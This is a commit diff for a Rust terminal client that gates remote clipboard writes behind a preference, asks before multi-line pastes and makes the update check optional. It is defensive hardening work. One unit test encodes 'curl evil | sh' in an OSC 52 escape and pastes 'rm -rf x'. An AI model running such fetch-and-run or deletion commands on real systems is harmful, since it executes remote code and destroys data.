feat: preferences for remote clipboard writes, multi-line paste confirmation and the launch update check

OSC 52 and VNC ServerCutText now go through one handler that honours
'allow remote clipboard' and always toasts the first line, so a silent
clipboard swap can't set up a paste into another shell (SEC-20261012-010).
Multi-line pastes into a terminal without bracketed paste ask first, with a
preview (SEC-20261012-017). The launch-time update check can be turned off
and the updater docs no longer claim it is opt-in; the unused GitHub
fallback is removed (SEC-20261012-013, F15).
This commit is contained in:
Andy Dixon
2026-10-12 08:57:30 +01:00
parent 764208727c
commit 534310b56d
10 changed files with 126 additions and 71 deletions
+22 -2
View File
@@ -70,6 +70,11 @@ pub enum Dialog {
Broadcast {
picks: Vec<(String, String, bool)>,
},
/// Multi-line paste into a terminal without bracketed paste.
ConfirmPaste {
session: String,
text: String,
},
/// Guided help for an auth or host-key failure.
Guided {
session: String,
@@ -188,7 +193,7 @@ impl App {
app.s.success(format!("Imported your Alchementary Link data from {}", from.display()));
}
// Background update check, once per launch.
if app.screenshot.is_none() {
if app.screenshot.is_none() && app.s.prefs.check_for_updates {
let svc2 = svc.clone();
let ctx = cc.egui_ctx.clone();
std::thread::spawn(move || {
@@ -504,7 +509,7 @@ impl App {
}
}
Event::VncFrame { .. } => {}
Event::VncClipboard { text, .. } => self.s.ctx.copy_text(text),
Event::VncClipboard { text, .. } => self.remote_clipboard(&text),
}
}
@@ -728,6 +733,18 @@ impl App {
}
}
/// A remote host (OSC 52 or VNC) wants to set the clipboard: allowed per preference, and always
/// announced so a silent swap can't set up a paste into another shell.
pub fn remote_clipboard(&mut self, text: &str) {
let first: String = text.lines().next().unwrap_or("").chars().take(60).collect();
if self.s.prefs.allow_remote_clipboard {
self.s.ctx.copy_text(text.into());
self.s.info(format!("Remote host set the clipboard: {first}"));
} else {
self.s.info("Blocked a remote clipboard write (Settings → General to allow)");
}
}
pub fn toggle_broadcast(&mut self) {
self.s.broadcast = !self.s.broadcast;
if !self.s.broadcast {
@@ -761,6 +778,9 @@ impl App {
{
let mut out = crate::terminal::TermResponse::default();
t.paste(&text, &mut out);
if let Some(text) = out.confirm_paste {
self.dialog = Some(Dialog::ConfirmPaste { session: id.into(), text });
}
let input = out.input;
self.send_input(id, &input);
}
+29
View File
@@ -920,6 +920,35 @@ pub fn dialogs(app: &mut App, ctx: &egui::Context) {
});
});
}
Dialog::ConfirmPaste { session, text } => {
let lines = text.lines().count();
let preview: String = text.lines().take(12).collect::<Vec<_>>().join("\n");
modal(ctx, "confirm-paste", 480.0, |ui| {
ui.label(RichText::new("Paste multiple lines?").font(theme::semibold(15.0)));
widgets::hint(ui, &format!("{lines} line(s) will run as commands as soon as they are pasted:"));
egui::ScrollArea::vertical().max_height(220.0).show(ui, |ui| {
ui.add(egui::Label::new(RichText::new(preview).monospace()).wrap());
});
if lines > 12 {
widgets::hint(ui, &format!("… and {} more", lines - 12));
}
ui.add_space(6.0);
ui.horizontal(|ui| {
if widgets::primary(ui, icon::CHECK, "Paste").clicked() {
if let Some(View::Terminal(t)) = app.s.panes.get_mut(session.as_str()).map(|p| &mut p.view) {
let mut out = crate::terminal::TermResponse::default();
t.paste_now(text, &mut out);
let id = session.clone();
app.send_input(&id, &out.input);
}
keep = false;
}
if ui.button("Cancel").clicked() || ctx.input(|i| i.key_pressed(Key::Escape)) {
keep = false;
}
});
});
}
Dialog::Guided { session, title, body, known_hosts } => {
let label = app.s.pane(session).map(|p| p.info.tab_name.clone()).unwrap_or_else(|| "Session".into());
let profile_id = app.s.pane(session).map(|p| p.info.profile_id.clone()).unwrap_or_default();
+9
View File
@@ -248,6 +248,15 @@ impl Settings {
field(ui, "Confirm on disconnect");
ui.checkbox(&mut p.confirm_on_disconnect, "Ask before disconnecting sessions");
ui.end_row();
field(ui, "Remote clipboard");
ui.checkbox(&mut p.allow_remote_clipboard, "Let remote hosts set the clipboard (OSC 52, VNC)");
ui.end_row();
field(ui, "Multi-line paste");
ui.checkbox(&mut p.confirm_multiline_paste, "Ask before pasting several lines into a terminal");
ui.end_row();
field(ui, "Updates");
ui.checkbox(&mut p.check_for_updates, "Check for updates at launch");
ui.end_row();
field(ui, "Status bar");
ui.checkbox(&mut p.show_status_bar, "Show status bar");
ui.end_row();
+2 -1
View File
@@ -1122,7 +1122,8 @@ fn paste_files(s: &mut Shared, session: &str, paths: &[PathBuf]) {
}
if let Some(View::Terminal(term)) = s.panes.get_mut(session).map(|p| &mut p.view) {
let mut out = crate::terminal::TermResponse::default();
term.paste(&combined, &mut out);
// The drop was already confirmed in its own dialog.
term.paste_now(&combined, &mut out);
s.request(Request::Write(session.into(), out.input));
}
}
+7
View File
@@ -328,6 +328,7 @@ pub fn pane(app: &mut App, ui: &mut Ui, id: &str, rect: Rect) {
find_bar(app, ui, term);
}
let theme = crate::terminal_themes::get(&theme_id);
term.confirm_paste = app.s.prefs.confirm_multiline_paste;
let r = term.ui(ui, theme, focused_tab);
if pane.highlight_until > app.s.now {
ui.painter().rect_stroke(rect.shrink(1.0), 0.0, Stroke::new(2.0, t.warning), egui::StrokeKind::Inside);
@@ -379,6 +380,12 @@ fn terminal_response(app: &mut App, id: &str, r: TermResponse, local_exited: boo
if r.bell {
app.s.ctx.request_repaint();
}
if let Some(text) = r.clipboard {
app.remote_clipboard(&text);
}
if let Some(text) = r.confirm_paste {
app.dialog = Some(crate::app::Dialog::ConfirmPaste { session: id.into(), text });
}
if let Some(a) = r.menu {
app.terminal_menu(id, a);
}
+43 -1
View File
@@ -52,6 +52,10 @@ pub struct TermResponse {
pub title: Option<String>,
pub bell: bool,
pub focused: bool,
/// Text the remote asked to put on the clipboard (OSC 52); the app applies its preference.
pub clipboard: Option<String>,
/// A paste held back for confirmation (see [`TermView::paste`]).
pub confirm_paste: Option<String>,
}
#[derive(Clone, Copy, PartialEq, Eq, Default)]
@@ -100,6 +104,8 @@ pub struct TermView {
generation: u64,
pub find: Option<Find>,
focus_requested: bool,
/// Hold back multi-line pastes that would run unbracketed (set from preferences each frame).
pub confirm_paste: bool,
}
const URL_RE: &str = r#"(?:https?|ftp)://[^\s<>"'`]+[^\s<>"'`.,;:!?)\]]"#;
@@ -127,6 +133,7 @@ impl TermView {
generation: 0,
find: None,
focus_requested: true,
confirm_paste: false,
}
}
@@ -292,7 +299,7 @@ impl TermView {
TermEvent::PtyWrite(s) => out.reply.extend_from_slice(s.as_bytes()),
TermEvent::Title(t) => out.title = Some(t),
TermEvent::Bell => out.bell = true,
TermEvent::ClipboardStore(_, s) => ui.ctx().copy_text(s),
TermEvent::ClipboardStore(_, s) => out.clipboard = Some(s),
_ => {}
}
}
@@ -398,7 +405,17 @@ impl TermView {
}
}
/// Pastes `text`, or hands it back in `out.confirm_paste` when `confirm_paste` is set and the
/// newlines would run each line immediately (no bracketed paste).
pub fn paste(&mut self, text: &str, out: &mut TermResponse) {
if self.confirm_paste && !self.term.mode().contains(TermMode::BRACKETED_PASTE) && text.contains(['\n', '\r']) {
out.confirm_paste = Some(text.into());
return;
}
self.paste_now(text, out);
}
pub fn paste_now(&mut self, text: &str, out: &mut TermResponse) {
let text = text.replace("\r\n", "\r").replace('\n', "\r");
if self.term.mode().contains(TermMode::BRACKETED_PASTE) {
out.input.extend_from_slice(b"\x1b[200~");
@@ -855,6 +872,31 @@ mod tests {
assert!(key_bytes(Key::A, none, TermMode::empty()).is_none());
}
#[test]
fn remote_clipboard_and_multiline_paste_go_to_the_app() {
let mut t = TermView::new(1000, 14.0, CursorStyle::Block);
t.feed(b"\x1b]52;c;Y3VybCBldmlsIHwgc2g=\x07");
let ctx = egui::Context::default();
let mut out = None;
let mut full = ctx.run_ui(Default::default(), |ui| out = Some(t.ui(ui, crate::terminal_themes::get("charcoal"), true)));
full.textures_delta.clear();
assert_eq!(out.unwrap().clipboard.as_deref(), Some("curl evil | sh"));
assert!(!full.platform_output.commands.iter().any(|c| matches!(c, egui::OutputCommand::CopyText(_))), "the view must not touch the clipboard itself");
let mut out = TermResponse::default();
t.confirm_paste = true;
t.paste("ls\nrm -rf x\n", &mut out);
assert!(out.input.is_empty());
assert_eq!(out.confirm_paste.as_deref(), Some("ls\nrm -rf x\n"));
let mut out = TermResponse::default();
t.paste("one line", &mut out);
assert_eq!(out.input, b"one line");
t.feed(b"\x1b[?2004h");
let mut out = TermResponse::default();
t.paste("a\nb", &mut out);
assert!(out.confirm_paste.is_none() && out.input.starts_with(b"\x1b[200~"), "bracketed paste needs no prompt");
}
#[test]
fn feeds_text_and_finds_it() {
let mut t = TermView::new(1000, 14.0, CursorStyle::Block);